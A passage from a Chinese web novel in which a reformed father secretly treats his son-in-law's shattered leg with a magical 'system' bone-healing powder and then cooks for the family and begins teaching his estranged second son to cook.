“是啊大姐,大姐夫躺在床上腿脚不便,还有我们那小外甥也在屋里,可不能离开人照看,你回屋吧,一会儿吃饭了我们再叫你!”
“二哥三哥说得对,大姐,现在照顾大姐夫才是最重要的事情,家里的活你就别伸手了……”
感受到三个兄弟拳拳的照拂与关切之意,江槐的心中再次暖意升腾,感动不已。
“好吧好吧,既然你们都这么说了,那姐就先回屋了。等一会儿你们姐夫和小赵逸睡下了,我再出来帮忙!”
拗不过三个兄弟的好意,哪怕觉得很不好意思,江槐也只得返身走向东屋。
“小槐花,你过来一趟!爹有话跟你说!”
还没等江槐回到屋里,江河爽朗洪亮的声音从堂屋方向传来。
江槐闻言身形一震,连忙应声道:
“哎,知道了爹,我马上就过来!”
猜到爹唤她过去,极有可能就是要跟她说为赵诚请郎中的事情,江槐心中有些期盼与忐忑的小跑着来到堂屋门前。
屋门没关,江槐唤了一声爹后,就直接跨步走了进去。
屋里,江河已经将两个孩子从怀里放下,此刻江飞、江玲一人口中含着一根棒棒糖,吃得正香。
见江槐进来,江河先是让俩孩子礼貌的唤了江槐一句“大姑姑”,然后就把他们打发到院子里去玩儿了。
“来,坐下说话。”江河抬手指了一下旁边的凳子,示意江槐坐下再说。
“哎,谢谢爹。”江槐依言坐下,低着头,等着江河接下来的吩咐。
“刚刚从山里回来时,我顺道去了一趟贾郎中家,跟他说了一下赵诚的伤势。”
“贾郎中家中有其他病人在,暂时没空过来,就给我拿了一副名为【精华壮骨粉】的药剂。”
“据贾郎中说,这【精华壮骨粉】对骨折、骨裂、经脉拉伤等伤势有奇效!哪怕是再严重的骨伤,一副就能见效!”
说着,江河把他之前签到得来的【精华壮骨粉】取出来一盒,放到桌面上,继续对江槐说道:
“这副药不用煎煮,直接用热水冲开,一半口服,一半外敷。你这就拿去给赵诚用上试试,看看是否真如贾郎中所说的那般神奇。”
第121章 爹这是在为我着想呢!
从后山回来的时候,为了掩人耳目,江河确实带着**与江源,特意拐了个弯,去了一趟贾郎中家,也确实从贾不为那里抓了一些药。
不过那些药都是一些用来治疗跌打损伤的寻常中药而已。
刚一出贾家的大门,江河就趁两儿子不注意,来了一个狸猫换太子,用【精华壮骨粉】把那些药剂全都给替换掉了。
赵诚腿上的伤势有多严重,江河昨天下午就已经亲眼看过了。
妥妥的粉碎性骨折,伤口都腐烂发脓了,绝对不是贾不为这样的乡野小郎中能够看得好的。
事实上,这样严重的伤势,纵使送到县城里,也未必有人能够医治得好。
所以从一开始,江河就已经打定主意,要用签到得来的【精华壮骨粉】来为赵诚治疗。
300%的伤势恢复速度,最大限度的避免留下暗伤和后遗症,且无任何毒副作用。
他手里有这样正好对症,且还牛逼得不行的特效药,何必还要再花大价钱去县城里瞎折腾?
“精华壮骨粉?”
“哪怕是再严重的骨伤,一副就能见效?!”
听了江河的介绍,江槐的眼中不由泛起一丝疑色。
真的还是假的?
贾郎中不会是在故意忽悠她爹,拿了一副假药来糊弄人吧?
这世上怎么可能会有这样的神药?
江槐虽然不是医师,可是她也知道“伤筋动骨一百天”的常识。
她家男人这次受的伤,何止是简单的伤筋动骨,整条右腿都被摔裂砸断了,直接就要了半条命去。
结果,贾郎中却只给她爹抓了一副药,还说什么再严重的骨伤,一副就能见效!
这不是在瞎胡闹吗?
“爹,贾郎中真是这么说的?他该不会在跟你开玩笑吧?”
江槐心直口快,直接就将心里想的话说讲了出来。
江河眉头一挑,猛拍了一下桌子,厉声说道:“开玩笑?借他一百个胆!”
“你也不出去打听打听,整个下河村,谁敢来主动招惹你老子我?”
“这副药可是老子花了整整一贯钱在贾不为那里买来的,要是没有效果,老子明天就去砸了他家的小医馆!”
啥?!
一贯钱一副药!?
江槐惊得直接就从凳子上站了起来。
“一、一贯钱?!”
“爹,你说这副药贾郎中竟然收了你一贯钱?!”
江槐的声音都变了调,眼睛瞪得溜圆,难以置信地看着桌上那个小小的木盒子。
什么金贵的药材啊,竟然值一贯钱!?
那可是整整一千文钱啊!
在县城里,一个壮劳力累死累活干大半年,都未必能挣到一贯钱!
在乡底下,一贯钱都能买下一亩地的良田了!
现在,那么多钱就换了这么一小盒药粉?
“爹……这……这也太贵了!我们以后怎么能还得起?”
江槐的声音微颤,她没有想到,爹竟然会这么舍得。
现在已经不是她质不质疑这药的真假的问题了,而是这么金贵的药,他们家实在是用不起啊。
“贵?”江河不以为意的轻哼了一声,“贵也得买!老子的姑爷,还能让他一直瘫在床上不成?”
“这钱要是没了还可以再挣,可这人要是废了,那可就真完了!”
“你是老子的女儿,老子难道还能看着让你男人变成一个残废,让你跟着一个废人过一辈子?”
“还有,这是老子自愿掏钱给自己的女婿看病,用不着你们还。”
“以后你们只管安心在家里待着、养着,等什么时候赵诚能下地了,能正常行走了,你们再回柳树村不迟!”
江河这话说得斩钉截铁,甚至还带着一股子不容置疑的“蛮横”劲儿。
但听在江槐耳中,却比任何甜言蜜语都更让她感到震撼和感动。
她万也没有想到,以前那个对她嫌弃无比、非打即骂的渣爹。
现在竟然肯为了她,直接花费一贯钱来买药给她男人治病,而且还直言不让他们夫妻偿还半点儿!
这……这真的还是她那个冷血无情、自私自利,从来都不把他们这些儿女当人看的爹吗?
江槐清楚地记得,以前他们家里的这些孩子们,哪怕是病得快要**,爹都不会舍得花几文钱去为他们请郎中!
更别说是为了一个他以前根本看不上的女婿花一贯钱这么多了!
老三说得对——爹真的变好了!真的跟以前完全不一样了!
“爹……”江槐的眼泪再也忍不住,扑簌簌地往下掉,“谢谢爹!我……我……”
她不知道该说什么好,千言万语都堵在喉咙里,只剩下最朴素的感谢和最深沉的感动。
“行了行了,别在老子面前哭哭啼啼的!老子最烦这个!”
江河不耐烦地挥挥手,直接开始赶人:
“赶紧把药拿上,给老子滚回东屋去!”
“记得,用温水化开,一半口服,一半外敷。要是没效果,就跟老子说,看老子怎么去收拾贾不为那老小子!”
“哎!哎!我记住了爹!我这就去!”
江槐没有在意老爹不耐烦的语气,一边应声,一边抬起手胡乱抹了把眼泪,之后才小心翼翼地将桌面上的药盒捧在怀里,快步走向房门。
“还有!”
就在江槐走到门口,马上就要出去时,江河似想到了什么,又开口说道:
“我花一贯钱给赵诚买药这事儿,你自己知道就行了,别让家里其他人知道,免得你大嫂、二弟媳与三弟媳她们心里有意见。”
江槐心中了然,连忙点头保证道:
“我知道了爹,你放心,我谁也不说,就算是赵诚那里我也会暂时瞒着!”
刚刚在院子里,老爹只是表现得跟
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老二家的孩子稍亲近了些,大嫂与二弟媳似乎就已经有了意见。
这要是让她们知道,老爹为了给赵诚这个女婿看病,一下子花了一贯钱,她们还不得直接闹翻了天啊?
爹这样做,是为了避免家庭矛盾,同时也是在担心她这个大姑子会受到娘家兄弟媳妇的排挤和厌弃。
“爹这是……在为我着想呢!”
江槐的心中再次泛起一丝暖意,眼圈里的泪珠又有些不控制的想要喷涌而出。
“嗯,你心里有数就行。”
江河点了点头,摆手示意她可以出去了。
江槐捧着药盒,脚步轻快却又无比激动地走出了堂屋。
院子里,江天、**他们已经将猎物处理得差不多了。
猪獾皮被初步硝制,挂在阴凉处晾着。
肥肉炼出的油,装了满满两个大陶罐,白花花的,看着就让人心里踏实。
腌好的肉块也码放整齐,两只已经死掉的野鸡宰好后,风干了一只,另一只剁成了块放在木盆里。
活着的那两只野鸡,直接放到了竹笼里暂时养着,得空了可以拿去县城里卖掉换钱。
见江槐从堂屋里出来,众人都停下了手中的动作,关切地看向她和她怀里的药盒。
“大姐,爹都跟你说啥了,你怎么好像还哭了呢?是不是他又骂你了?”江天忍不住开口询问。
江槐脸上带着尚未完全消散的泪痕,但眼睛却亮晶晶的,她微摇了摇头,道:
“二弟你别瞎说,爹咋可能会骂我呢,他叫我过去是为了给我拿药。”
“你看,这就是爹刚刚从贾郎中那里抓来的药,说是专治骨伤的特效药,很管用,让我赶紧给你大姐夫用上呢!”
“对对对,这个我和老四可以做证!”
**怕二哥误会老爹,待会儿又跟老爹吵起来,连忙开口解释道:
“刚刚我们赶山回来,爹特意去了一趟贾郎中那里,给大姐夫抓了些药回来!”
“对于大姐夫腿上的伤,咱爹可是真的上了心的!”
“是这样吗,大姐?”
江天轻瞥了**一眼,然后又抬头看向江槐。
“就是这样,二弟你别多想,爹现在真的变得跟以前不一样了!”江槐果断点头,再次诚心诚意地为亲爹说起了好话。
“好吧!既然如此,那我们就不耽误大姐给大姐夫用药了,大姐快回屋吧!”
江天没再多说什么,不过眼中的疑虑却并没有完全消除。
他虽然不知道大姐与爹在堂屋里具体说了些什么,但看大姐刚才从屋里出来时满脸泪痕的样子,肯定是受了什么委屈。
只是大姐现在明显不愿多说,他也不好直接当众逼问。
还是等一会儿人少的时候,再单独向大姐询问吧。
若是那老登又在背地里打骂大姐,不给大姐好脸色,他指定要为大姐讨个公道!
第122章 千万不能忘了爹的恩情
东屋里,赵诚正半靠在炕头,脸色依旧苍白,但眼神却比之前明亮了许多,精神状态比在柳树村时好了不知多少倍。
小儿子赵逸坐在床边,一边吃着糖果一边口齿不清地跟赵诚聊着天。
看到江槐进来,小家伙欢叫一声就要扑过来,却被赵诚一把拉住。
两岁左右的小赵逸虽然已经会走路了,但是因为身子骨太过瘦弱,走得并不是很稳当,经常会摔倒在地上。
所以之前江槐才没有让他跟着江沫儿、江娴等几个孩子一起出去玩,而是一直把他带在身边。
“小心着点儿!”
江槐见赵诚不但从床上坐了起来,甚至还伸手去拉儿子,顿时就急了。
她连忙快步跑过来,随手把拿在手中的药盒放在旁边的桌面上,然后一把抱起儿子放到床边站好,又小心地搀扶着赵诚重新躺下。
看着赵诚因为动作幅度过大,扯到了腿上的伤口而疼得嘴角直抽,额前都冒出了冷汗,江槐心疼不已,一边抬手给他擦汗,一边忍不住地念叨道:
“你说你,逞什么能啊,小孩子摔一跤能怎么着,还能给他摔坏了啊?”
“你自己身上什么情况你不知道吗,这万一要是让腿上的伤势变得更严重了,你让我们娘仨儿以后怎么办?”
“我不管,以后你可不许再这样了,你现在最要紧的就是好好养伤,尽快好起来,可千万不能再出什么意外了……”
赵诚轻喘了两口气,缓过劲儿来。
面对媳妇的指责与念叨,他也不生气,更没有不耐烦,而是不停的点头应承保证着。
过了好一会儿,终于把江槐的情绪安抚了一下,赵诚抬头看着刚刚**槐随手放在桌子上的那个木盒子,有些好奇的问道:
“媳妇儿,你拿回来的那个盒子是什么啊,里面装的什么东西?”
江槐这才反应过来,连忙站起身,小心翼翼地把她刚放在桌面上的那盒药捧了过来。
“当家的,这是给你治病的药!”
手捧着木盒,江槐的声音带着压抑不住的激动,切声向赵诚说道:
“这是爹特意去贾郎中那儿抓来的特效药,说是对骨伤有奇效!让咱们赶紧用上!”
赵诚闻言,心中不由涌出一丝感动,没想到岳丈大人竟然真的为他去请郎中抓药回来了。
而且,看江槐捧着这药盒时小心翼翼的举动,他哪里还能看不出来,这副药怕是价值不菲。
“真是麻烦爹了。”赵诚声音有些沙哑的问道:“这药……应该不便宜吧?”
“这你就别管了,这是爹的一片心意,不管它是便宜还是贵,只要对你身上的伤有用就行!”
江槐没有直接回答他的问题,她怕赵诚知道这一副药竟然价值一贯钱后,会有什么心理负担。
就算是要说,她也要等到当家的腿好了以后再说。
见媳妇儿不愿多说,赵诚心中已然明白过来,这副药的价格当是已经远远超出了他们家所能承受的极限。
否则依着媳妇儿的脾气秉性,根本就不会这么不明不白的占娘家人的便宜,早就开口说要记账还债了。
“你在这等着,我去倒点儿温水回来,把药给你用上!”
没有再跟赵诚多说,江槐按照江河的吩咐,先去灶房倒了些温水,将【精华壮骨粉】完全化开。
药粉入水即化,呈现出一种淡淡的琥珀色,散发出一种极为清新的草木清香,闻之并无半点异味。
江槐用手指沾了一点儿放进嘴里尝了尝,非但没有半点苦味,反而还有一丝淡淡的甘甜。
更重要的是,仅是尝了这么一点,江槐就感觉有一股暖流顺着津液直入胸腹,让她整个人都随之精神一振。
这药……好神奇!
不愧是价值一贯钱的特效药啊,果然效用非凡!
江槐忍不住在心中赞叹,对这副药的疗效也越发的相信、希冀起来。
“当家的,来,我喂你吃药!”
江槐倒出一半药剂,先用小勺一口一口的喂赵诚服下。
药液入口,赵诚只觉得一股温润的暖流顺着喉咙滑下,很快散入四肢百骸。
尤其是受伤的右腿,仿佛浸泡在温水中,原本那种深入骨髓的阴冷钝痛,被这股暖流一冲,顿时缓解了不少。
取而代之的,是一种酸酸胀胀的、麻麻痒痒的温润感觉。
“怎么样?有感觉了吗?”江槐紧张地问。
“有点麻,有点痒……还有点热热胀胀的感觉……”
赵诚闭着眼睛慢慢感受着,逐渐的他的脸上露出了一丝难以置信的神色。
“媳妇儿,爹买的这副药简直神了,我的腿……不但没那么疼了,而且我感觉它好像能动了!”
说着,赵诚试着抬了一下自己的右腿,赫然发现,他竟然真的将右腿挪动了一丝!
这可是他在摔断腿之后,第一次感受到膝盖之下小腿还有脚掌上的知觉。
哪怕只有一丝,却也让他看到了无尽的希望!
“好了好了,别乱动了!”
江槐连忙按住赵诚的右腿,不让他再乱动,同时眼圈有些泛红的说道:
“有感觉就好!有感觉那就说明这药是对症了!”
“爹说这药要一半内服,一半外敷,你躺好别动,我把剩下的那些药给你敷在伤口处,这样应该能好得更快些!”
说着,江槐连忙将剩下的一半药液端过来,小心仔细地涂抹在赵诚已经清理过伤口处,并重新找了一块干净的布条包扎起来。
药液透过肌肤还有伤口的断裂处,缓缓渗透进入肌理,赵诚只觉得伤处传来一阵更加明显的温热感。
紧接着就是一阵比之方才更强烈的酸、麻、胀,还有一种仿佛是一群蚂蚁在伤口内不断攀爬嘶咬的麻痒感。
他腿上断裂的骨头和受损的筋络,在这股麻痒感的刺激下,仿佛在瞬间被激活、苏醒了过来。
“嘶……”
赵诚忍不住倒吸了一口凉气,额头上沁出细密的汗珠,眼睛也不自觉地紧闭了起来。
他能清晰地感觉到,那条原本已经完全失去知觉,甚至彻底麻木的右腿,正在重新“活”过来!
虽然这个过程有些疼痛与麻痒,让他难受得有些抓狂,但是赵诚还是咬着牙生挺着坚持了下来。
“当家的,你感觉怎么样?是不是疼得厉害?”江槐见他表情异样,连忙关切问道。
“确实是有些疼……不过我能忍得住!”
赵诚缓缓睁开双眼,眼中闪烁着激动与兴奋之色。
“媳妇儿,爹抓来的这副药…
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…效用非凡!我感觉我的腿……应该是有救了!”
江槐闻言,鼻子一酸,眼泪再一次不受控制地涌了上来。
她紧紧握住赵诚的手,哽咽道:“有用就好!有用就好!”
“等你好了,可千万不能忘了爹的恩情,这副药,可是爹……”
意识到自己差点儿就说漏了嘴,江槐连忙止住这个话头,道:
“总之,爹对我们太好了,咱们以后一定要好好报答爹,孝顺爹!”
赵诚反握住她的手,用力点头道:“媳妇儿,你放心,爹对我的恩情,我赵诚这辈子不会忘记!”
此刻。
院子里日头正好,暖意洋洋。
在外面玩耍的几个孩子,已经在江沫儿的带领下,全都回到了家里。
看到江飞与江玲后,江沫儿热情地招呼着这两个小侄小侄女加入他们。
很快,一群孩子就在一起做起了游戏,一会儿跳格子,一会老鹰捉小鸡,玩得不亦乐乎,也使得整个院子都变得热闹欢快了起来。
看到孩子们这般玩闹嬉戏,江天、孙芳两口子全都不自觉地朝着堂屋方向看去,神色也跟着变得紧张起来。
这样的情景若是放在以前,最烦小孩子吵闹的渣爹,肯定早就开始破口大骂,甚至拿起扫帚出来**赶人了。
而现在,堂屋里竟然没有任何动静。
没有喝斥叫骂,没有上演全武行,他们甚至还看到江河笑呵呵的从屋里走出,手里端了满满一个托盘的点心和糖果。
“都玩累了吧?来来来,吃点儿点心歇一歇,然后再接着玩儿!”
江河脸上带着和煦慈爱的笑容,将托盘放在堂屋门口的矮桌上,热情地招呼着孩子们。
托盘里,是几样孩子们从未见过的精致点心——雪白的米糕、金黄的栗子饼,还有几颗鲜艳的、包着漂亮糖纸的糖果。
孩子们的眼睛瞬间亮得像星星,欢呼着围了过来,却又不敢直接伸手去拿,只是眼巴巴地看着江河。
江河见状,不由轻笑着道:“先去把手洗干净了,然后再过来拿东西吃!”
“江沫儿,你来监督他们,谁要是不把手洗干净了,可不许给他们吃的!”
江沫儿闻言,用力点头道:“放心吧爹,我肯定看好他们!”
说完,江沫儿一声招呼,便带着八个小侄、小侄女、小外甥、小外甥女到灶房那边打水洗手。
片刻后,所有孩子都把手洗干净之后,又**沫儿给领着回到了堂屋门前。
依然是由江沫儿带头,把托盘里的糕点和糖果,一一分发给八个孩子。
“哇!这糖好甜!”
“这个米饼也好好吃!”
“爷爷最好了!”
“谢谢爷爷!”“谢谢姥爷!”
孩子们满足的赞叹声此起彼伏,小脸上都洋溢着欢喜幸福的笑容。
江天和孙芳站在不远处,看着眼前的这一幕,满眼的震惊与不敢置信。
老爹(公爹)他……竟然主动拿了点心和糖果来给孩子们吃?
不仅没嫌孩子们吵闹,没有对他们破口大骂,甚至还一脸慈爱的笑容?
这……还是他们以前所认识的那个渣爹吗?
一个人的脾气秉性,怎么可能会在短时间内有着这么巨大的反差变化?
第123章 爹竟然真的会做饭!
东屋里,江槐给赵诚重新包扎好伤口,又喂他喝了些水。
见赵诚额头的冷汗渐渐消去,身上因为疼痛而紧绷起来的肌肉缓缓放松,呼吸也随之变得平稳有力,江槐这才彻底地放下心来。
【精华壮骨粉】药效好到出乎他们的预料。
才服用了不到一刻钟的时间,赵诚就感觉到自己的整条右腿,甚至整个身体,都变得温暖、轻松了许多。
初服药时那种剧烈的疼痛与酸麻感也在逐渐地舒缓减轻。
而后,一股前所未有的松弛感与疲惫感直袭心头,并迅速遍及全身。
赵诚开始不停地张嘴打起了哈欠,困得上眼皮与下眼皮直打架,眼见着就要睁不开眼了。
“要是困了就好好睡一觉吧,爹跟我说过,服用过这副药后,就需要多睡觉多休息才能更好吸收恢复。”见赵诚开始犯困,江槐柔声开口叮嘱道。
“也好。”赵诚顺从点头,强打着精神握住江槐的手道:“媳妇,辛苦你了……一会儿替我好好谢谢爹。”
“嗯,知道了。你先睡吧,我正好趁着这个时间,去帮大嫂她们准备午饭。”
江槐轻轻抽出手,起身给赵诚盖好被子,看赵诚闭上了眼,很快就沉沉睡去,这才抱着孩子,轻手轻脚地走出东屋。
院子里,日头已近中天,阳光正好。
灶房里已然开始不断有浓郁香气飘散出来,惹得整个院子都是香喷喷的,甚是诱人。
江槐刚出东屋门,就看到老二、老三、老四还有大嫂、二弟媳、三弟媳,以及江沫儿、江娴等一群孩子,全都围在灶房的门口。
一个个的,一边伸着头往灶房里观瞧,一边不停的吞咽着口水,几个小的甚至都把口水流到了衣服上。
咋回事儿?
竟然不是大嫂和两个弟媳在灶房里做饭吗?
咋的就连老二、老三、老四他们也在灶房外面扎堆待着?他们在看什么?
现在所有的人都在外面看热闹,那此刻正在灶房里面忙活着做饭的人又是谁?
难不成……还真是爹在里面亲自下厨?
江槐不由得便想到了之前老爹刚从外面赶山回来时,似乎说过“今天中午老子亲自下厨,给你们做顿好吃的!”之类的话。
原以为那是爹在说着玩呢。
可现在看来,爹好像并不是在开玩笑。
只是……爹他,会做饭吗?
江槐对此表示深深的怀疑。
毕竟,在过去的十几、二十年里,她可从来没有见自己的这个亲爹进过灶房一次!
莫说是炒菜做饭了,他甚至都没有往灶房挑过一担水,劈过一根柴,烧过一次锅。
像是这样一个从来都没有下过灶房的人,怎么可能会做饭呢?
“娘,香……香,我要吃!”
江槐抱着孩子好奇的凑到灶房门前,站在老二、老三、老四等一群人的身后。
刚想要开口向他们打听灶房里面的情况,一直被她抱在怀里的小赵逸突然奶声奶气的开口说话,闹着要吃好吃的。
江天、**等人闻声,不由同时回头观望,看到竟是大姐抱着孩子从东屋里出来了,连忙开口招呼道:
“大姐,你咋出来了,姐夫咋样了,用过药了吗?”
“嗯,你们姐夫用过药后已经睡下了。我在屋里闲着没事儿,就寻思着过来帮忙做做饭。”
江槐随口回了一句,然后目光扫向灶房,轻声向三个兄弟问道:
“这灶房里是咋回事儿,你们全都聚在了门口,是谁在里面做饭呢?”
“还能有谁,当然是咱爹了!”**接声回答道:“大姐,你是不知道,咱爹这做菜的手艺,简直是……绝了!”
“他做的红烧肉,土豆炖牛肉,还有那盘小炒肉,简直把人都给香迷糊了!”
“是啊大姐!”江源也流着口水接声说道:“爹做出来的菜实在是太香了,光是站在门口闻着这香味,都快要把我给馋哭了!”
就连一直不待见老爹的老二江天,也神色有些异常的开口说道:
“老三、老四说得不错,爹做出来的那几道菜,色香味俱全,比之望福楼里的那几个大厨,都不遑多让了!”
“真是没想到啊,他一个整天只知道瞎胡混,还好吃懒做、不学无术的二流子,竟然还有这样厉害的厨艺!”
这语气,有点儿酸,甚至还有点儿羡慕嫉妒恨。
江槐直接就听懵了。
老三、老四年纪小,没见过啥世面,没吃过啥好东西也就罢了。
怎么就连在望福楼里当伙计的老二,竟然也开始在这胡咧咧了?
还说什么爹的厨艺比县城里望福楼内的大厨还厉害?
这哪么可能嘛!
老爹要是真有这么牛逼的手艺,哪能一直窝在他们这个小山村里当了半辈子的穷光蛋与二流子?
“老二,你可别在这里跟姐开玩笑了,咱爹是什么人我还能不知道吗?”
“一个从来都没有下过灶房的人,怎么可能会比望福楼内的大厨还会做饭?”
江槐直接摇头表示不信。
她自己的爹是什么样人,有什么本事和手艺,她心里可门清得很。
“大姐,你还别不信!”
**见江槐一脸怀疑,轻声说道:
“我以前可听咱娘说过,咱爹年轻的时候曾到县里的大酒楼学过厨,他这一身做饭的手艺,或许就是那时候学会的。”
“还有,你闻闻这满院子的香味儿!光是闻着就让人走不动道!”
“还有,你出来的晚看到没,刚才爹端出来一小碟炒好的肉让我尝尝咸淡,我的天,那滋味……我差点把舌头都给吞下去!”
江源也小鸡啄米似的点头:“对对对!三哥没骗人!爹还让我尝了一块土豆炖牛肉里的土豆,又沙又面,吸饱了肉汁,比肉还好吃!”
江天虽然没有再说话,但他的沉默和脸上那尚未完全消散的震惊与回味,已经是最好的证明。
这兄弟三个,似乎已然完全被老爹所展现出来的超凡厨艺给征服了。
江槐神情微怔,仍是感觉有些难以相信。
老爹年轻时到县里帮厨的事情,她其实也是知道的。
只是,娘亲不是说爹当年并没有学成,还因为手脚不干净,偷吃偷拿人家酒楼里的东西,直接被人掌柜的给赶回来了吗?
怎么现在,爹却摇身一变,就成堪比望祖楼大厨的厨艺高手了?
心中带着疑惑,江槐把小赵逸塞到**的怀里,分开人群,径直走到灶房门前向里观瞧
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。
只见老爹江河正系着一条旧围裙,手里拿着锅铲,站在灶台前不停的忙碌着。
大铁锅里,深红色的红烧肉在浓稠的汤汁中咕嘟咕嘟地翻滚着。
旁边的陶罐里,炖着黄澄澄的土豆块和红艳艳的牛肉块,牛肉软烂Q弹,土豆也已经吸饱了汤汁,看起来酥软诱人。
案板上,剁好的野鸡块用酱料腌着,旁边是切好的大葱、姜蒜,还有一盆打好的金黄蛋液。
站在灶房门前,鼻间的香气越发浓郁。
那股混合了肉香、酱香、油脂香以及某种她从未闻到过的奇异混合香气,正源源不断地从灶房涌出,直往她的鼻腔里钻。
咕咚!
江槐也忍不住吞咽了一口口水。
这一刻,她总算是明白过来,为何刚刚老三会说出“光是闻着就让人走不动道!”那句话了。
没办法,这味道……实在是太香了!
也是直到这时,江槐才后知后觉的意识到——
原来,爹竟然真的会做饭,而且手艺还这么老好!
“老二!二弟!快过来!”
似想到了什么,江槐猛地转过身,抬手招呼老二江天过来她的身边。
江天闻声,快步走到江槐的身边,不解问道:“咋了,大姐?”
“你说你是不是傻,明知道咱爹有着堪比望福楼大厨的手艺,咋不进去跟着学两手?”
“你以前不是常说,你最大的愿望就是拜一位大厨为师,学一身做饭的手艺,也到望福楼里当一名大厨师吗?”
“现在机会就摆在你的眼前,你还犹豫个啥?”
“那可是咱爹,你要是诚心想要跟他学做菜,他还能不教你?”
江槐忍不住拍了一下江天的胳膊,示意他赶紧进去给老爹打下手。
江天被大姐这番话问得一愣,脸上闪过一丝犹豫和不自在。
他确实一直都有一个成为大厨的梦想。
在望福楼当伙计的这些年,那些大厨有多威风,做出来的饭菜有多美味,每个月能赚多少例钱,他可都是亲眼所见,亲耳所闻,心里何尝不羡慕?
可是,让他去跟江河学……跟这个他以前最厌恶、最痛恨也最为瞧不上的渣爹去学。
他实在是有点儿接受不了,也抹不开这个脸。
“还愣着干什么?快去啊!”
江槐见他还在发呆,忍不住又抬手推了他一把,切声催促道:
“机会难得,别再磨蹭了!真是的,跟自己亲爹你还有什么抹不开脸的?!”
江天闻言,心神不由一震。
是啊,大姐说得没错,里面的那个人可是他亲爹!
他要是真想学,有什么不好意思,又有什么开不了口的?
同样的手艺,他不跟自己的亲爹学,难道还能指望着外面那些大厨,把自己的看家本领白白教给他不成?
看着灶房里那个忙碌却沉稳的身影,闻着那勾魂摄魄的诱人香气,再想想之前品尝到的那一小口令人惊艳且回味无穷的绝美滋味……
他心里的那点别扭和微不足道的自尊,似乎在美食和现实的冲击下,变得不那么重要了。
心里这么想着,江天不由紧咬了咬牙,深吸一口气,像是下定了某种决心,猛地抬脚迈进了灶房的门槛。
第124章 想学啊,爹教你啊!
江河耳聪目明,对于儿女们在外面的对话,他自然是听了个一清二楚。
不过他依然装作什么都不知道,继续认真地在灶房里做着自己的饭菜。
所谓上赶着的不是买卖。
现在是江天这小子想要学他这个老子的手艺,江河当然不会低声下气的反着去求着他来学。
若是这小子真的抹不开脸,不想开这个口,江河也不介意一直揣着明白装糊涂。
他是来当爹的,不是来当舔狗当保姆的,他才不会刻意去惯着谁。
当然,话又说了回来,作为江天的亲爹,做儿子的过来向他诚心求教,想要学习他的手艺,江河也不会藏着掖着,刻意拿桥。
再怎么说,他们也是血脉关系上的亲父子,江河也希望这个二儿子能够成才,能够过得好一些。
“爹!”
片刻后,江天终于还是在江槐的劝说与催促下,主动抬步进入到了灶房之中。
江河刚好把一锅红烧肉盛出来,看到江天进来,佯装意外地挑了挑眉:“咋,饿了?想吃饭的话还得再等一会儿。”
“不是,爹……”
江天的神色有些局促与尴尬,双手在身侧无意识地搓了搓,声音也不自觉地低了几分,轻声道:
“爹,我……我想给您打打下手,顺便……跟您学学怎么做菜,可以吗?”
江河手上的动作顿了顿,之后把手中的锅铲放在一边,正色转身,抬眼看向江天。
这小子,眼神里已经没有了以往在看向他这个老爹时所流露出的冷漠和抗拒。
取而代之的,是一种复杂的、混合着渴望、别扭甚至还有一丝崇拜与热切的光芒。
看来,一顿好饭,不仅能暖胃,更能软化人心啊。
看看这个家里对他意见最大,关系也最僵的老二,才只尝了一口他做的饭菜,就态度大变,巴巴的往他跟前凑。
之前他给老二家送了那么多东西,留了那么多钱,也没见这小子主动给他一个笑脸。
现在,他只是稍稍显露了一下自己做饭的手艺,这小子对他的态度就发生了一百八十度的大转弯。
看来,这个老二是真的很想学厨,很想成为一名手艺精湛的大厨师啊!
孩子有这样的爱好和梦想,原身那狗东西竟然半点儿也不知道,残留的那些记忆中,也没有丁点儿相关的痕迹。
不然,若是早让他知道老二有这样的兴趣和愿望,他早就对症下药,把这小子给拿下了。
江河又在心里非议了原身几句,脸上却没什么表情,淡淡的看了江天一眼后,又转身去舀水涮锅。
就在江天面露失望之色,想要转身退出灶房的时候,耳边突然传来江河淡然的吩咐声:
“还愣着做什么?想学的话就先去把那盆菜洗了!葱切段,姜切片,蒜拍碎。手脚麻利点,别耽误我炒菜!”
没有多余的废话,直接开口吩咐江天干活。
可就是这平淡到几乎不带一丝感情的言语,听在江天的耳中,却不啻于是九天仙乐,瞬间就让他变得心神激荡,精神百倍!
“哎!知道了爹,我这就去做!”
江天惊喜地高应了一声,连忙挽起袖子,走到水缸边开始洗菜。
这些活计他在望福楼后厨也常干,倒是熟练得很。
在洗菜的同时,他还不时扭头看向江河,见江河一直在涮锅、润锅,准备炒下一道菜,根本就没往他这边瞧看一眼。
这般不以为意、自然而然的态度,反而让江天在心底轻松了口气。
他方才之所以犹豫着不敢进来,就是最怕江河会直接拒绝他的请求,又或是借机摆谱说教,给他难堪。
毕竟,他跟这个渣爹之前的关系可不怎么样,有好几次大吵大闹之后,甚至还差点儿打起来。
渣爹不待见他,他也很是厌恶和痛恨这个渣爹。
如果不是为了学习厨艺,如果不是渣爹这段时间的表现确实不同以往,他说什么也不会这样腆着脸主动往渣爹的跟前凑。
现在这样,渣爹对他就像对待一个普通的学徒或者帮手,挺好,江天也倍感自在。
对面。
江河一边准备炒下一道菜,一边用眼角的余光观察着江天。
这小子干活还算利索,洗菜切菜的动作有模有样,看来过去的几年在望福楼并没白待。
最重要的是,那份沉下心来做事的态度,比之前那种浑身带刺,随时都想要跟他炸毛的样子顺眼多了。
“火候是炒菜的关键,”
江河一边往烧热的锅里倒油,一边看似随意地开口道:
“油温六成热下葱姜蒜爆香,闻到香味再下肉片……”
没有看江天一眼,他开始自顾自地讲解起了最基本的炒菜要点。
他说话时的语气平淡无波,像是在自言自语,又像是在刻意教导。
江天一个激灵,连忙竖起耳朵仔细听讲,手上洗菜的动作也不自觉地变得缓慢了下来。
爹讲的这些东西,有些他在望福楼的后厨偷看过,有些则是闻所未闻。
但是结合老爹眼前这一步步的具体操作,让江天一下子就明白了其中的许多关窍。
原来,那令人着迷的香气,是这么来的!
原来,炒菜时对于火候的掌控,竟有这么多讲究!
他越听越入迷,越听越觉得爹讲的这些东西有些高深莫测。
有那么一瞬间,他甚至都觉得爹这身做菜的本事,怕是要比望福楼里的那些高高在上的大厨还要更加高明!
“这道菜叫农家小炒肉,虽然只是一道常见的家常菜,但却极考验厨师对于火候及翻炒时机的把控。”
“看好了,炒这道菜时动作一定要快,葱姜爆香之后,就要第一时间把腌好的肉片滑入锅中,之后等上两个呼吸,快速颠勺翻炒……”
江河说着,手腕一抖,手中的锅铲便在锅中极有韵律的飞快抖动翻炒起来,瞬时间锅气升腾,肉香四溢。
江天在旁边看得双眼发亮,整个心神都完全沉浸其中。
